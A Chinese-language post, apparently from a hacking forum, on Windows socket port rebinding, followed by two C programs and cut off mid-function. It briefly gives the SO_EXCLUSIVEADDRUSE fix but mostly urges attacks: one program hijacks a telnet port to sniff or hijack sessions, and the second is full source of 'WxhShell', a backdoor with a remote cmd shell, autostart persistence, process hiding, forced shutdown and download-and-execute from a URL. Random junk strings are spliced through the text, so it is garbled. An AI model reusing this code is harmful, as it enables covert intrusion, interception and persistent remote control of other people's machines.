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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (=1q!c`
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |2)Sd[q dEASvD' saddr.sin_family = AF_INET; lC#RNjDp/~ J&eAL3"GF saddr.sin_addr.s_addr = htonl(INADDR_ANY); RF_[?O)Q 1^C|k(t bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A&?}w_|9 Ly9Q}dL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AnNPTi nr OqH
这意味着什么?意味着可以进行如下的攻击: k(P3LJcYQ _(C^[ :s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QDS0ejhp g nt45]@{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L[9OVD iTh
xVD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H]s4% 9T W h| L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 7*i}km S%kS#U${| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 McjS)4j&. ,"Tjpdf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y%4 Gp RqXi1<6j# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]pnYvXf>! v~"Ef_` #include k6@b| #include J58#$NC
`' #include @\)fzubu #include 9e~WK720= DWORD WINAPI ClientThread(LPVOID lpParam); Z_FNIM0f int main() c/
_yMN { -vV'Lw( WORD wVersionRequested; /D[dO6. DWORD ret; 2F1ZAl WSADATA wsaData; *g1L$FBG BOOL val; dK.R[aQ SOCKADDR_IN saddr; 6xarYh( SOCKADDR_IN scaddr; ASW4,% cl int err; ivfXat- SOCKET s; #{x5L^v>] SOCKET sc; @l~7x int caddsize; %M9;I HANDLE mt; zPVd(V~(T DWORD tid; 'M8aW!~ wVersionRequested = MAKEWORD( 2, 2 ); (/K5! qh err = WSAStartup( wVersionRequested, &wsaData ); vU!8`x) if ( err != 0 ) { Z:@6Lv?CN printf("error!WSAStartup failed!\n"); OV[`|<C ' return -1; tMFsA`ng } &~#iIk~% saddr.sin_family = AF_INET; DLi?'K3t XJSa]P^B1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R}r~p?(M /b#q*x-b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zDDK saddr.sin_port = htons(23); P16YS8$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )~V}oKk0t { _A 2Lv]vfV printf("error!socket failed!\n"); jWvtv ng return -1; B'}"AC" } +8AvTSgX% val = TRUE; *Y%Jl
o //SO_REUSEADDR选项就是可以实现端口重绑定的 ~*}$>@f{[X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WPo:^BD { =&7@<vBpy printf("error!setsockopt failed!\n"); =i>\2J%'R return -1; _s+c+]bO } ;cKH1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @2
=z}S3O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \9)#l#m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #Fs|f3-@ YT=eVg53 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g9KTn4 { aMTFW_w ret=GetLastError(); ^Kqf~yS% printf("error!bind failed!\n"); sDC*J\X return -1; eA=WGy@IcN } `~h4D(n` listen(s,2); #`ls)-`7 while(1) {)@D`{$ { m`6VKp{YD caddsize = sizeof(scaddr); exDkq0u] //接受连接请求 qu~X.pW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 81F,Y)x. if(sc!=INVALID_SOCKET) dz%EM8 { oNM?y:O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $^_|j1z#i if(mt==NULL) p|qyTeg { CzVmNy)kl printf("Thread Creat Failed!\n"); KX3KM!* break; &yIGr`; } s-rfS7; } %=Tr^{i CloseHandle(mt); ;..o7I } 1 ] #9
closesocket(s); *Zbuq8> WSACleanup(); G[Tl%w return 0; kl}Xmw{tJ } _xrwu;o0} DWORD WINAPI ClientThread(LPVOID lpParam) a#0;==# { rzeLx Wt SOCKET ss = (SOCKET)lpParam; OgCy4_a[f SOCKET sc; wLJ]&puwm unsigned char buf[4096]; p&N#_dmlH SOCKADDR_IN saddr; oyx^a9 long num; riCV&0"n DWORD val; WE6\dhJ< DWORD ret; }Ln@R~[ //如果是隐藏端口应用的话,可以在此处加一些判断 ,gx)w^WTm //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 3[IJhR[ saddr.sin_family = AF_INET; 9}P"^N saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gy"%R-j7 saddr.sin_port = htons(23); UBZ9A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tu m_aI { g|%L"-%gJ printf("error!socket failed!\n"); bw4oLu? return -1; UiQEJXwnz } SO{p ;g val = 100; nFM@@oA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ne6}oQy(S` { DN8}glVxV ret = GetLastError(); 1S:|3W return -1; SJ?)%[(T } *>q/WLR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sZhMa> { ^3]UZ@ ret = GetLastError(); a|_p,_ return -1; 9YN? } 3x@<Z68S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gfa[4
z { Q2|p\rO printf("error!socket connect failed!\n"); uQqWew8l+ closesocket(sc); Pbu{'y3J closesocket(ss); v?:: |{ return -1; kH948<fk3 } 9X}I> while(1) ) R2XU { OJO!FH) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SOf{Hx0C6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 GK*v{` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZcE_f>KV num = recv(ss,buf,4096,0); Vb|#MNf) if(num>0) ZC0-wr\ send(sc,buf,num,0); g"_C,XN else if(num==0) <skajQQ break; HMGB> num = recv(sc,buf,4096,0); ,IHb+ K if(num>0) 0?DC00O send(ss,buf,num,0); 'LE"#2Hu else if(num==0) ';B#Gx break; ,&^3Z } ,)FdRRj closesocket(ss); aA'TD:&p1 closesocket(sc); s5&@Cxzl return 0 ; #*%q'gyHT } tY|8s]{2 ~x:DXEV, G}d-(X ========================================================== m#!=3P7T YB( Gk;] 下边附上一个代码,,WXhSHELL |N /G'>TS `#P$ ]: ========================================================== S>Yj@L S$q=;" #include "stdafx.h" .Ajzr8P R`8@@} #include <stdio.h> Guw}=l--YR #include <string.h> )cJ#-M2 #include <windows.h> }_'IE1bA #include <winsock2.h> W_|0y4QOo #include <winsvc.h> 0%Ll #include <urlmon.h> fxcc<h4 yay<GP? #pragma comment (lib, "Ws2_32.lib") YZf6| #pragma comment (lib, "urlmon.lib") o{qr!*_3 [Nm4sI11 #define MAX_USER 100 // 最大客户端连接数 Sjj>#}U #define BUF_SOCK 200 // sock buffer =8Jfgq9E #define KEY_BUFF 255 // 输入 buffer M~e0lg8 0|4%4Mt #define REBOOT 0 // 重启 N"tFP9;K #define SHUTDOWN 1 // 关机 2F{hg% gV;H6" #define DEF_PORT 5000 // 监听端口 e}Vw!w B!]2Se2G #define REG_LEN 16 // 注册表键长度 /6uT6G+(z} #define SVC_LEN 80 // NT服务名长度 LkruL_E> &)wiKh"$ // 从dll定义API Bq\F?zk< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g#]" hn typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3f.b\4 U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t_z>Cl^u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %M
F;`; 1 f5*k7fg // wxhshell配置信息 4S"\~>< struct WSCFG { \W5O&G-C int ws_port; // 监听端口 JCx
WWre char ws_passstr[REG_LEN]; // 口令 +j_;(Gw7 int ws_autoins; // 安装标记, 1=yes 0=no |y;}zQB-dH char ws_regname[REG_LEN]; // 注册表键名 )>
,wj char ws_svcname[REG_LEN]; // 服务名 d_UN0YT< char ws_svcdisp[SVC_LEN]; // 服务显示名 B(a-k? char ws_svcdesc[SVC_LEN]; // 服务描述信息 ia&AW char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (_kp{0r# int ws_downexe; // 下载执行标记, 1=yes 0=no g,tjm( char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" b
\KL;H/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GE;e]Jkjn rEhX/(n# }; Xaz o9J ok^d@zI // default Wxhshell configuration 9_s6l struct WSCFG wscfg={DEF_PORT, ='ZRfb& "xuhuanlingzhe", )~4II.`%^ 1, Mv544>: "Wxhshell", "I?Am&>' "Wxhshell", GcIDG`RX "WxhShell Service", \6n!3FLl "Wrsky Windows CmdShell Service", ZX!r1*c
6 "Please Input Your Password: ", $n^MD_1! 1, @bM2{Rh: " http://www.wrsky.com/wxhshell.exe", &X@Bs- "Wxhshell.exe" l&4,v }; <U5wB]] uzmk6G
v // 消息定义模块 ]w T 7*( Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S:4crI char *msg_ws_prompt="\n\r? for help\n\r#>"; WG*t::NN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >^q7c8]~g char *msg_ws_ext="\n\rExit."; XZ&KR.C, char *msg_ws_end="\n\rQuit."; +d+@u)6 char *msg_ws_boot="\n\rReboot..."; w\54j)rb char *msg_ws_poff="\n\rShutdown..."; P./V6i<: char *msg_ws_down="\n\rSave to "; S=R7`a<.5 +;$oJJ char *msg_ws_err="\n\rErr!"; ](tx<3h char *msg_ws_ok="\n\rOK!"; {2/LRPT <DKS+R char ExeFile[MAX_PATH]; m }a|FS int nUser = 0; Y$N)^=7 HANDLE handles[MAX_USER]; />¬$> int OsIsNt; B]m@:|Q 4c
oJRqf= SERVICE_STATUS serviceStatus; U~h'*nV& SERVICE_STATUS_HANDLE hServiceStatusHandle; xq-17HKs 7^wc)E^H // 函数声明 ~!s-o|N_\ int Install(void); IDkWGh int Uninstall(void); *n]7 int DownloadFile(char *sURL, SOCKET wsh); \k;`}3uO int Boot(int flag); s]m o$ _na void HideProc(void); `U+l?S^$ int GetOsVer(void); D3|oOOoG int Wxhshell(SOCKET wsl); QM3,'?ekRH void TalkWithClient(void *cs); f|^dD` int CmdShell(SOCKET sock); tz#gClo int StartFromService(void); mRB int StartWxhshell(LPSTR lpCmdLine); xe7O/',pa= o7mZzzP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X;<BzA!H VOID WINAPI NTServiceHandler( DWORD fdwControl ); k(zsm"<q ?9l [y // 数据结构和表定义 $0bjKy SERVICE_TABLE_ENTRY DispatchTable[] = m(], r}) { -':Y\:W {wscfg.ws_svcname, NTServiceMain}, Hzrtlet {NULL, NULL} ;a-$D]Db }; +/#Ei'do uOa26kE4 // 自我安装 C6O8RHg int Install(void) z0|&W&&D { O+%WR char svExeFile[MAX_PATH]; K;LZ- HKEY key; $P1O>x>LIL strcpy(svExeFile,ExeFile); .(pN5JI* Q{k
At% // 如果是win9x系统,修改注册表设为自启动 8G5Da|\ if(!OsIsNt) { ;'81jbh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f|y:vpd% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z4&iK)x RegCloseKey(key); V9ssH87# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lKEkXO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I^oE4o RegCloseKey(key); jV(6>BAI_ return 0; dw.F5?j`b } Wf{O[yL* } sAg Kg=) } P&Pj>!T5
else { mv5n4mav ?"z]A7<Hj // 如果是NT以上系统,安装为系统服务 mxb06u_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *3T|M@Y if (schSCManager!=0) h" H2z1$ { )DYI
. SC_HANDLE schService = CreateService "t^URp3 ( hJzxbr
< schSCManager, %0? M?Jf wscfg.ws_svcname, e</$ s wscfg.ws_svcdisp, `R"I;qV SERVICE_ALL_ACCESS, #Rg|BfV- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p{PE@KO: SERVICE_AUTO_START, -s9P8W SERVICE_ERROR_NORMAL, 7}*6#KRG svExeFile, WM)-J^)BJ NULL, -hkQ2[Ew# NULL, [:^-m8QC NULL, $9S(_xdI& NULL, Y?ez9o:/# NULL ^<LY4^ ); R\XKMF3mN3 if (schService!=0) Cgz D$`~ { 6sa"O89 CloseServiceHandle(schService); ~G27;Npy CloseServiceHandle(schSCManager); Z}|(FRVk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %*#n d strcat(svExeFile,wscfg.ws_svcname); : Sq?a0!S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0%)i<a!_Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @iEA:?9uX RegCloseKey(key); 4A9{=~nwT return 0; Xn~I=Ml d } $.Q$`/dF } _-5,zPR CloseServiceHandle(schSCManager); rp5(pV7* } _z[#}d;k } P ~PIMkt T97]P-}
return 1; 4(-bx.V } 1 { , F J[^}u_z // 自我卸载 M>M`baM1 int Uninstall(void) erVO|<%=R { EC|'l HKEY key; Jv.UQ #z1H8CFL" if(!OsIsNt) { )"+(butI& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uUKcB: RegDeleteValue(key,wscfg.ws_regname); v=('{/^~> RegCloseKey(key); 8p-=&cuo\@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H5D*|42 RegDeleteValue(key,wscfg.ws_regname); -48vJR*tC RegCloseKey(key); g#]wLm# return 0; @y31NH( } p">EHWc}D } w1UA?+43 } j[Uxa else { 7<H
|QL& LHJ":^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XT;u<aJs if (schSCManager!=0) o!Rd ^ { 'Wa,OFd\8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tl'n->G>v if (schService!=0) C{2xHd/* { qYhs|tY) if(DeleteService(schService)!=0) { OM{WI27 CloseServiceHandle(schService); Jjl`_X$CB CloseServiceHandle(schSCManager); )Fb>8<% return 0; 4[r/}/iGo } ~{}#)gGU CloseServiceHandle(schService); Y<0 4RV } xnE|Umz CloseServiceHandle(schSCManager); wp7!>%s{ } xUfbW;;]UU } V]EtwA 5s?Hxn return 1; _{jjgQJ5 } "`asFg $`Ix:gi // 从指定url下载文件 fL]Pztsk+ int DownloadFile(char *sURL, SOCKET wsh) l|5fE1K9U { ;\MW$/[JCy HRESULT hr; [%&ZPJT%i char seps[]= "/"; % >;#9"O4 char *token; XR!us/U`a char *file; n<B<93f/ char myURL[MAX_PATH]; /pp1~r.s?> char myFILE[MAX_PATH]; j1 =`| cwV]!=RtO strcpy(myURL,sURL); 5[n(7;+gw token=strtok(myURL,seps); JMdPwI while(token!=NULL) r <
cVp^ { 3Tq\BZ file=token; ^9-&o token=strtok(NULL,seps); X>?b#Eva } Mc!Xf[ )#F]G$51r GetCurrentDirectory(MAX_PATH,myFILE); q64k7<C, strcat(myFILE, "\\"); 16SOIT strcat(myFILE, file); upvS|KUil send(wsh,myFILE,strlen(myFILE),0); -R>}u'EG> send(wsh,"...",3,0); X\}Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bvt@X if(hr==S_OK) ;60.l! return 0; 5Zw1y@k( else Y
wkyq>Rv return 1; M# 18H<] .@-$5Jw } qaim6a u{z``] // 系统电源模块 ` ]Ppau int Boot(int flag) Ej7 /X ~ { Blq8H"3!: HANDLE hToken; Vb
qto|X@ TOKEN_PRIVILEGES tkp; h$N0D ! RI2f`p8k if(OsIsNt) { 'Peni1_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >R/$1e1Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g,:j/vR tkp.PrivilegeCount = 1; M/Pme&% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "n:{!1VGw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6oSQQhge if(flag==REBOOT) { c%*($)# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l^J75$7 return 0; OGiV{9U } ~XeFOMq else {
Quf_' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )bx_;9Y{ return 0; RllY-JBO } ;WL1B } 6WoAs)ZF else { 7*DMVok: if(flag==REBOOT) { 1}ZKc=Pfu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `pd&se'p return 0; 0b91y3R+ } (Toq^+`c else { e"r)R8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `]Bxn)b( return 0; 9z?oB&5 } q %A?V_ } )5fQ$<(Z HyiFy7j return 1; .}')f;jH5< } ``ekR6[ 8c fri0XxF // win9x进程隐藏模块 R_sC! - void HideProc(void)
kj5Q\vr) { .lhn;*Yi ^[Cv26 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~7!7\i,Y8\ if ( hKernel != NULL ) v&FF|)$ { w#i[_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZDL']*)' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U}Hwto`R FreeLibrary(hKernel); x ]5@>5 } ]\RRqLDzkg FZiW|G return; P\CDd=yWc } )Z+{|^`kJ 2}?wYI*:5| // 获取操作系统版本 l:]Nn%U(> int GetOsVer(void) YJxw 'U
>P { Ff^@~X+W< OSVERSIONINFO winfo; p#f+P? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AGA`fRVx GetVersionEx(&winfo); =OJ;0 /$6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aj,)P3DJu return 1; 1p`+ else M9!AIHq4 return 0; a'\By?V]
} ')S;[= v vhr+g 'tf // 客户端句柄模块 }G$]LWgQx int Wxhshell(SOCKET wsl) U-wLt(Y< { t)oa pIeIe SOCKET wsh; "x'), struct sockaddr_in client; h x6;YV DWORD myID; !S%6Uzsj S~$'WA while(nUser<MAX_USER) :PbDU$x { Vv$HR int nSize=sizeof(client); 0%s|Zbo!> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nRhrWS if(wsh==INVALID_SOCKET) return 1; q^rl) k&hc m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Ha5yaTL if(handles[nUser]==0) +)nT|w45 closesocket(wsh); iV.p5FD else .'[/|4H nUser++; ,G^[o,hS }
>95TvJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hg}I]!B {mE! Vf return 0; p<WFqLe(": } FDFH,J`_ RaSz>-3d // 关闭 socket 'k&?DZ! void CloseIt(SOCKET wsh) 7dh1W@\ { ~$O1`IT closesocket(wsh); 'UM!*fk7C nUser--; SN+S6 ExitThread(0); Jeqxspn
T } %>Xr5<$:& -jg (G GJ // 客户端请求句柄 /7$mxtB5%L void TalkWithClient(void *cs) 47 u@4"M { E(<LvMiCa Iy
{U'a! SOCKET wsh=(SOCKET)cs; ZeasYSo4P char pwd[SVC_LEN]; $7I]`Jt char cmd[KEY_BUFF]; _8K%`6!"Z char chr[1]; 9Z\z96O- int i,j; V'Y{v *.y' (tj[ while (nUser < MAX_USER) { aI#4H+/ #`tD1T{; if(wscfg.ws_passstr) { D_|B2gdZY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?SY<~i<K- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 71B3a //ZeroMemory(pwd,KEY_BUFF); YTY%#"
i=0; 4YbC(f while(i<SVC_LEN) { ^>~dlS !^U6Z@&/R // 设置超时 {j(4m fd_set FdRead; X7aXxPCq1 struct timeval TimeOut; 6(56,i<#/ FD_ZERO(&FdRead); & %}/AoU FD_SET(wsh,&FdRead); %/0gWG TimeOut.tv_sec=8; 2]jPv0u TimeOut.tv_usec=0; >L2*CV3p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 67<CbQZoN3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `rWB`q|i<
MM#cLw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` DCU>bt&R pwd =chr[0]; 0V11# if(chr[0]==0xd || chr[0]==0xa) { >?XbU} pwd=0; % mn /> break; eFQQW`J } 3_qdJ<, i++; 9n}A ^ } }(i(Ar- Mps
*}9 // 如果是非法用户,关闭 socket i|2$8G3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ 3NS>v[1 } FuP}Kec m% bE-# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jOv"< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;R1B9-, xcSR{IZ while(1) { >7-y#SkXdo SR*Gqx ZeroMemory(cmd,KEY_BUFF); QJ4AL3
^6 HY;oy( // 自动支持客户端 telnet标准 :k!j"@r j=0; i^%-aBZ while(j<KEY_BUFF) { < tQc_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l=Wd,$\ cmd[j]=chr[0]; \ZnN D1A if(chr[0]==0xa || chr[0]==0xd) { OCx5/ 88X cmd[j]=0; 4UCwT1 break; nTZ> |R) } S!j^|! j++; wkT;a&_ } J9@}DB 5gNLO\ // 下载文件 !P|5#.eC if(strstr(cmd,"http://")) { IhW7^(p\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); L~MpY{!3 if(DownloadFile(cmd,wsh)) Y$8; Gm<) send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~g%wf@w else R`He^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _@prmSc } /_OOPt=G else { Zd<[=%d R#0{Wg0O) switch(cmd[0]) { W(k:Pl# k/#M<z // 帮助 aW`dFitpM case '?': { a>b8-j=J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B
T7Id break; Qq0O0U } E/"SU*Co // 安装 ``-k{C#F case 'i': { ^g]xU1] * if(Install()) =x4a~=HX send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9--dRTG else =h\E<dw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "]<}Hy break; a%n'%*0 } PPgW
^gj // 卸载 px
[~=$F case 'r': { )VY10R)$ if(Uninstall()) }N| \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Bd(>'ig_ else WD;)VsP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R92R}=G! break; <3Fz>}V32 } J9a $AU* // 显示 wxhshell 所在路径 {5 Kz' FT case 'p': { !w=,p.?V= char svExeFile[MAX_PATH]; hZ o5p&b strcpy(svExeFile,"\n\r"); \1{_lynD strcat(svExeFile,ExeFile); k#jm7 + send(wsh,svExeFile,strlen(svExeFile),0); N(7u],(Om break; 8bbVbP } `$Kes;[X // 重启 _FFv#R*4 case 'b': { RO$*G
jQd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]+lF=kkc% if(Boot(REBOOT)) \4@a send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'RQiLUF else { Loc8eToZ closesocket(wsh); +I.v!P!^ ExitThread(0); FoLDMx( } '8={ sMy break; Fva]*5 } ?1$\pq^ // 关机 HSql)iT case 'd': { H` Lu"EK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .)0gz!Z if(Boot(SHUTDOWN)) e#m1X6$.e send(wsh,msg_ws_err,strlen(msg_ws_err),0); (-'PD_| else { /xf.\Z7< closesocket(wsh); U
TS{H ExitThread(0); D{3fhPNU<b } P|v ? break; lR[z<2w\ } &&*wmnWCS{ // 获取shell [[$Mh_MD case 's': { dL(4mR8 CmdShell(wsh); D0KELAcY closesocket(wsh); ]eD [4Y\#t ExitThread(0); }M="oN~w break; d~,n_E$q; } yW:AVqE)t // 退出 )Kr(Y.w case 'x': { $WJy?_c send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iI}nW CloseIt(wsh); $4:~*IQ break; XC2Q*Z } ]Qc: Zy3 // 离开 X)y*#U case 'q': { b2W; |
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J:[3;Z closesocket(wsh); <@%ma2 WSACleanup(); CCy. exit(1); wV?[3bEhM break; + f 6}p } ~(M*6b } L% zuI& q } R<t&F\> 8db6(Q~P // 提示信息 *eMLbU7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /T{mS7EpYc } sbpu
qOL } ,qYf#fU#7 ={OCa1 return; KM E XT$p } gMCy$+? lej^gxj/2 // shell模块句柄 ]KzJ u`O%G int CmdShell(SOCKET sock) )~G8 L Z { "NlRSc# STARTUPINFO si; ,Qga|n8C ZeroMemory(&si,sizeof(si)); ^1()W,B~w si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >&g2 IvDS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BR%{bY^
5p PROCESS_INFORMATION ProcessInfo; Sw/J+FO2 char cmdline[]="cmd"; A<]&JbIt CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Z >JvTnH return 0; OrzM
hQaf } r';Hxa ' I<IC-k"Y // 自身启动模式 |:{g?4Mi int StartFromService(void) hLCsQYNDU { O#A8t<f|M typedef struct $]xE$dzJ { "Fo DWORD ExitStatus; rE9Ta8j6 DWORD PebBaseAddress; .Ydr[ DWORD AffinityMask; wrhBH;3 DWORD BasePriority; &`-_)~5] ULONG UniqueProcessId; #vnefIcBf ULONG InheritedFromUniqueProcessId; <d3PDO@w/ } PROCESS_BASIC_INFORMATION; 4,o
%e,z `e4o 1* PROCNTQSIP NtQueryInformationProcess; ZE{aS4c JvT%R`i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N;e}dwh& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /vMQF+ eUi> Mp HANDLE hProcess; PV5-^Y"v PROCESS_BASIC_INFORMATION pbi; &IIJKn|_ D:+)uX}MOf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >B @i
